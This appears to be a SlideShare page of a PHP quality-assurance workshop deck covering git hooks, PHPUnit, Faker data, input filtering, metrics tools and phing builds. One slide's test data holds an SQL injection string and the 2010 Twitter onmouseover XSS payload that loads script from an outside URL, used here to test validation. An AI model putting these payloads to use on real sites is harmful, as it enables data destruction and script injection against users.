SlideShare a Scribd company logo
1 of 105
Download to read offline
QA for PHP projects
in it2PROFESSIONAL PHP SERVICES
Requirements
• VirtualBox http://virtualbox.com
• Vagrant https://vagrantup.com
• Copy of https://github.com/in2it/phpqa-workshop
• Copy of https://github.com/in2it/phpqa-testing
Michelangelo van Dam!
!
PHP Consultant
Community Leader
President of PHPBenelux
Contributor to PHP projects
!
T @DragonBe | F DragonBe
https://www.flickr.com/photos/akrabat/8784318813
Using Social Media?
Tag it #phpqa
http://www.flickr.com/photos/andyofne/4633356197
http://www.flickr.com/photos/andyofne/4633356197
What is QA? Testing
Measuring Automation
What is QA?
https://www.flickr.com/photos/infidelic/4306205887
Detect bugs early
https://www.flickr.com/photos/goingslo/4523034319
Observe behaviour
https://www.flickr.com/photos/yuan2003/1812881370
Prevent mistakes
https://www.flickr.com/photos/robertelyov/5159801170
Track progress
https://www.flickr.com/photos/dingatx/4115844000
Important QA tools
https://www.flickr.com/photos/florianric/7263382550
Version Control
https://www.flickr.com/photos/mrmyle/2327686010
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
Perforce
Team Foundation Server
File Transfer Protocol
FTP
Advantages of SCM
• Team development
• Multi-versions management
• Keep track of history
• Tagging milestones
• Backup of source code
• Full integration
https://www.flickr.com/photos/skoop/5397232723
Exercise
• Start a new project “phpqa-intro”
• Initialise it as a GIT project
• Create a “hello world” php script
• Add it to the repository & commit
Possible answer
$ cd workspace	
$ mkdir phpqa-intro	
$ cd phpqa-intro	
$ git init	
$(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php	
$(master #) git add helloworld.php	
$(master #) git commit -m 'Initial version of helloworld'	
[master (root-commit) 174c675] Initial commit of helloworld	
1 file changed, 1 insertion(+)	
create mode 100644 helloworld.php	
$(master)
Syntax Checking
https://www.flickr.com/photos/rooreynolds/4133549889
PHP Lint
Build-in PHP!
PHP Lint
php -l <filename>
GIT pre-commit hook
https://github.com/ReekenX/phpcheck-git
Exercise
• Download the pre-commit hook from http://in2.se/
phplintgit (or get it from the USB drive)
• Make sure you make it executable
• Create a syntax error in error.php and commit it
• See you get the error and ensure the file is not
committed.
Possible answer
$(master) git checkout -b phplint	
$(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit	
$(phplint) chmod ugo+x .git/hooks/pre-commit	
$(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php	
$(phplint) git add error.php	
$(phplint +) git commit -m 'Trying to add code with errors'	
Syntax errors found in file: error.php	
!
Found PHP parse errors:	
PHP Parse error: parse error, expecting `','' or `';'' in /Users/
dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse
error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-
intro/error.php on line 2	
!
PHP parse errors found. Fix errors and commit again.	
$(phplint +)
Documentation
https://www.flickr.com/photos/jankunst/6478327983
Why providing docblocks?
• Useful information about the
class, method or logic
• Provides hints in IDE’s
• Great reference for
• New team members
• 3rd party developers
https://www.flickr.com/photos/mundoo/2293493420
phpDocumentor
http://phpdoc.org
PHAR://
http://phpdoc.org/phpDocumentor.phar
Other installations: Composer, PEAR, Source
Exercise
• Create a class with a couple of methods (or use the
class in “exercise/MyClass.php”)
• Run phpdoc against this class
./vendor/bin/phpdoc	
  -­‐d	
  exercise/phpdoc	
  -­‐t	
  build/phpdoc	
  
• See the resulting documentation files at http://
192.168.166.166/phpdoc
Testing
https://www.flickr.com/photos/akrabat/8421560178
Most common excuses
why developers don’t test
• no time
• no budget
• deliver tests after finish project
(never)
• devs don’t know how
https://www.flickr.com/photos/dasprid/8147986307
No excuses!
https://www.flickr.com/photos/akrabat/8421560178
Let’s get started
https://www.flickr.com/photos/floridamemory/3295406193
PHPUnit & Composer
{	
  
	
  	
  "require":	
  {	
  
	
  	
  	
  	
  "php":	
  "<=5.5.0"	
  
	
  	
  },	
  
	
  	
  "require-­‐dev":	
  {	
  
	
  	
  	
  	
  "phpunit/phpunit":	
  "~4.4"	
  
	
  	
  },	
  
}
phpunit.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
!
<phpunit	
  
	
  	
  	
  	
  bootstrap="./vendor/autoload.php"	
  
	
  	
  	
  	
  colors="true"	
  
	
  	
  	
  	
  strict="true"	
  
	
  	
  	
  	
  stopOnError="true"	
  
	
  	
  	
  	
  stopOnFailure="true">	
  
!
	
  	
  	
  	
  <testsuite	
  name="PHPQA	
  Workshop	
  TestSuite">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <directory>./tests</directory>	
  
	
  	
  	
  	
  </testsuite>	
  
!
</phpunit>
Testing models
https://www.flickr.com/photos/fdecomite/2710132377
Simple Comment Class
CommentTest
<?php	
  
namespace	
  PhpqaTestsModel;	
  
!
use	
  PhpqaModelComment;	
  
!
class	
  CommentTest	
  extends	
  PHPUnit_Framework_TestCase	
  
{	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  1,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Johny	
  Test',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'johny.test@example.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  'http://johnytest.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'This	
  is	
  a	
  comment',	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
!
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }	
  
}	
  
CodeCoverage
Exercise
• Test Comment class that you can convert it directly
into an array
• BONUS: Also test you can convert it into JSON
Testing Databases
https://www.flickr.com/photos/shindotv/3835365695
A few remarks
• Testing against databases is “integration testing”
• Testing against databases is slow
• Testing against databases is only useful for
• triggers & stored procedures
• correct encoding and collations
Data is just “Data”
fzaninotto / Faker
https://github.com/fzaninotto/Faker
Generated data
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  safe	
  and	
  of	
  quality	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  goodDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $faker	
  =	
  FakerFactory::create();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [];	
  
	
  	
  	
  	
  	
  	
  	
  	
  for	
  ($iter	
  =	
  0;	
  $iter	
  <	
  500;	
  $iter++)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  $data[]	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  rand(1,	
  time()),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  $faker-­‐>name,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  $faker-­‐>email,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>url,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>text(),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $data;	
  
	
  	
  	
  	
  }
Modify our test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  goodDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }
https://www.flickr.com/photos/boltofblue/5724934828
http://xkcd.com/327/
Little Bobby Tables
Is this your project?
OWASP Top 10
https://www.owasp.org/index.php/Top_10_2013-Top_10
Bad Data provider
http://en.wikipedia.org/wiki/Computer_virus
First modify our class
<?php	
  
namespace	
  PhpqaModel;	
  
!
use	
  ZendInputFilterInputFilter;	
  
use	
  ZendInputFilterInput;	
  
use	
  ZendFilter;	
  
use	
  ZendValidator;	
  
!
class	
  Comment	
  
{	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @var	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  protected	
  $inputFilter;	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @return	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  getInputFilter()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  //	
  Lazy	
  loading	
  of	
  filter	
  and	
  validation	
  rules	
  
	
  	
  	
  	
  	
  	
  	
  	
  if	
  (null	
  ===	
  $this-­‐>inputFilter)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $this-­‐>inputFilter;	
  
	
  	
  	
  	
  }
Filter/Validate
	
  	
  	
  	
  $commentId	
  =	
  new	
  Input('commentId');	
  
	
  	
  	
  	
  $commentId-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterInt());	
  
	
  	
  	
  	
  $commentId-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorGreaterThan(['min'	
  =>	
  0]));	
  
!
	
  	
  	
  	
  $fullName	
  =	
  new	
  Input('fullName');	
  
	
  	
  	
  	
  $fullName-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringTrim())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());	
  
	
  	
  	
  	
  $fullName-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorStringLength(['min'	
  =>	
  5,	
  'max'	
  =>	
  150]));
Filter/Validate (2)
	
  	
  	
  	
  $emailAddress	
  =	
  new	
  Input('emailAddress');	
  
	
  	
  	
  	
  $emailAddress-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $emailAddress-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorEmailAddress());	
  
!
	
  	
  	
  	
  $website	
  =	
  new	
  Input('website');	
  
	
  	
  	
  	
  $website-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $website-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorUri());	
  
!
	
  	
  	
  	
  $comment	
  =	
  new	
  Input('comment');	
  
	
  	
  	
  	
  $comment-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());
InputFilter
	
  	
  	
  	
  $inputFilter	
  =	
  new	
  InputFilter();	
  
	
  	
  	
  	
  $inputFilter-­‐>add($commentId)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($fullName)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($emailAddress)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($website)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($comment);	
  
!
	
  	
  	
  	
  $this-­‐>setInputFilter($inputFilter);
badDataProvider
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  unsafe	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  badDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  0,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],[	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  'Little	
  Bobby	
  Tables',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Robert');	
  DROP	
  TABLE	
  `students`;	
  -­‐-­‐',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'clickjack@hackers',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'exploit	
  twitter	
  9/21/2010',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  }
our bad data test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  badDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testCommentIsProtectedAgainstHacks($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment-­‐>getInputFilter()-­‐>setData($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());	
  
	
  	
  	
  	
  }
Exercise
• Add some more “badData” entries
• See if the validation rules hold
• Test one of the latest exploits
Wanna know more…
Come and see me after the workshop
Measuring
https://www.flickr.com/photos/batega/2056949264
pdepend
• CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH: Average Hierarchy Height
• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls
pDepend info
• metric calculation
• execution paths
• independent control structures
• if, else, for, foreach, switch case, while, do, …
• within a single method or function
• more info 

http://en.wikipedia.org/wiki/Cyclomatic_complexity
Cyclomatic Complexity
• The average of the maximum length from a root
class to its deepest subclass
Average Hierarchy Height
Pyramid Inheritance
few classes derived from other classes
lots of classes inherit from other classes
Inheritance
Pyramid complexity
Size and complexity
Pyramid Coupling
Coupling
pDepend-graph
PHP Mess Detection
https://www.flickr.com/photos/avlxyz/2145112149
What?
• detects code smells
• possible bugs
• sub-optimal code
• over complicated expressions
• unused parameters, methods and properties
• wrongly named parameters, methods or properties
Example output
./vendor/bin/phpmd exercise/ html
cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./
build/logs/phpmd.html
Copy/Paste Detection
https://www.flickr.com/photos/kalexanderson/6113247118
What?
• detects similar code snippets
• plain copy/paste work
• similar code routines
• indicates problems
• maintenance hell
• downward spiral of disasters
• stimulates improvements
• refactoring of code
• moving similar code snippets in common routines
PHP_CodeSniffer
https://www.flickr.com/photos/create_up/3475195695
What?
• validates coding standards
• consistency
• readability
• set as a policy for development
• reports failures to meet the standard
• sometimes good: parentheses on wrong line
• mostly bad: line exceeds 80 characters
• but needed for terminal viewing of code
• can be set as pre-commit hook
• but can cause frustration!!!
Exercise
• Run the following commands against “MyClass”
• pdepend
• phpmd
• phpcpd
• phpcs (php_CodeSniffer)
• What is the result?
Automation
https://www.flickr.com/photos/freefoto/5982549938
Using phing
The PHP builder
http://phing.info
build.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
<project	
  name="PHPQA	
  Workshop"	
  default="build">	
  
	
  	
  	
  	
  <fileset	
  dir="${project.basedir}"	
  id="files">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <include	
  name="${project.basedir}/exercise/**"/>	
  
	
  	
  	
  	
  </fileset>	
  
	
  	
  	
  	
  <target	
  name="php-­‐lint"	
  description="Run	
  syntax	
  checking	
  on	
  the	
  codebase">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phplint>	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  <fileset	
  refid="files"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  </phplint>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <target	
  name="php-­‐doc"	
  description="Generate	
  automated	
  documentation">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <exec	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  command="./vendor/bin/phpdoc	
  run	
  -­‐d	
  exercise/	
  -­‐t	
  build/phpdoc/"	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  dir="${project.basedir}"/>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <!-­‐-­‐	
  ...	
  -­‐-­‐>	
  	
  
	
  	
  	
  	
  <target	
  name="build"	
  description="The	
  build	
  process">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐lint"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐doc"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐depend"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐md"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cpd"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cs"/>	
  
	
  	
  	
  	
  </target>	
  
</project>	
  
Benefits
• Everyone executes the processes the same
• Including automated CI tools
• Once a new “target” is defined, it’s available
There’s more with phing
• auto upgrade databases
• warming up caches
• deploy over multiple nodes
• collect statistics
• perform benchmark/performance tests
• …
Easy CI integration
• Jenkins CI
• JetBrains TeamCity
• Atlassian Bamboo
• ContinuousPHP
https://www.flickr.com/photos/lwr/13442542235
Contact us
in it2PROFESSIONAL PHP SERVICES
Michelangelo van Dam
michelangelo@in2it.be
!
www.in2it.be
PHP Consulting - Training - QA
Join the fun!
PHPBENELUX
phpbenelux.eu
Thank you
Have a great conference
http://www.flickr.com/photos/drewm/3191872515

More Related Content

What's hot

Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesCiaranMcNulty
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Craig Francis
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQMichelangelo van Dam
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript SecurityJohannes Hoppe
 
Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018Joke Puts
 
Functional Structures in PHP
Functional Structures in PHPFunctional Structures in PHP
Functional Structures in PHPMarcello Duarte
 
PHP security audits
PHP security auditsPHP security audits
PHP security auditsDamien Seguy
 
Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8Wilson Su
 
IPC 2015 ZF2rapid
IPC 2015 ZF2rapidIPC 2015 ZF2rapid
IPC 2015 ZF2rapidRalf Eggert
 
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)Javier Eguiluz
 
Система рендеринга в Magento
Система рендеринга в MagentoСистема рендеринга в Magento
Система рендеринга в MagentoMagecom Ukraine
 

What's hot (20)

Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing Strategies
 
Frontin like-a-backer
Frontin like-a-backerFrontin like-a-backer
Frontin like-a-backer
 
New in php 7
New in php 7New in php 7
New in php 7
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()
 
Advanced Django
Advanced DjangoAdvanced Django
Advanced Django
 
Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
 
Data Validation models
Data Validation modelsData Validation models
Data Validation models
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security
 
Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018
 
Functional Structures in PHP
Functional Structures in PHPFunctional Structures in PHP
Functional Structures in PHP
 
PHP security audits
PHP security auditsPHP security audits
PHP security audits
 
Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8
 
Django Heresies
Django HeresiesDjango Heresies
Django Heresies
 
IPC 2015 ZF2rapid
IPC 2015 ZF2rapidIPC 2015 ZF2rapid
IPC 2015 ZF2rapid
 
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
 
Система рендеринга в Magento
Система рендеринга в MagentoСистема рендеринга в Magento
Система рендеринга в Magento
 
What's new with PHP7
What's new with PHP7What's new with PHP7
What's new with PHP7
 
PhpBB meets Symfony2
PhpBB meets Symfony2PhpBB meets Symfony2
PhpBB meets Symfony2
 

Viewers also liked

Composer the right way - SunshinePHP
Composer the right way - SunshinePHPComposer the right way - SunshinePHP
Composer the right way - SunshinePHPRafael Dohms
 
Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)James Titcumb
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Are you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 UnconfAre you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 Unconfphpboyscout
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Joe Ferguson
 
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)Chris Tankersley
 
Building Your API for Longevity
Building Your API for LongevityBuilding Your API for Longevity
Building Your API for LongevityMuleSoft
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsMark Baker
 
Introduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with JenkinsIntroduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with JenkinsEric Hogue
 
Driving Design through Examples
Driving Design through ExamplesDriving Design through Examples
Driving Design through ExamplesCiaranMcNulty
 
Hexagonal architecture message-oriented software design
Hexagonal architecture   message-oriented software designHexagonal architecture   message-oriented software design
Hexagonal architecture message-oriented software designMatthias Noback
 
Consequences of an Insightful Algorithm
Consequences of an Insightful AlgorithmConsequences of an Insightful Algorithm
Consequences of an Insightful AlgorithmCarina C. Zona
 

Viewers also liked (18)

Composer the right way - SunshinePHP
Composer the right way - SunshinePHPComposer the right way - SunshinePHP
Composer the right way - SunshinePHP
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
 
Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)
 
TDD: Team-Driven Development
TDD: Team-Driven DevelopmentTDD: Team-Driven Development
TDD: Team-Driven Development
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Are you a good scout? - PHPNW15 Unconf
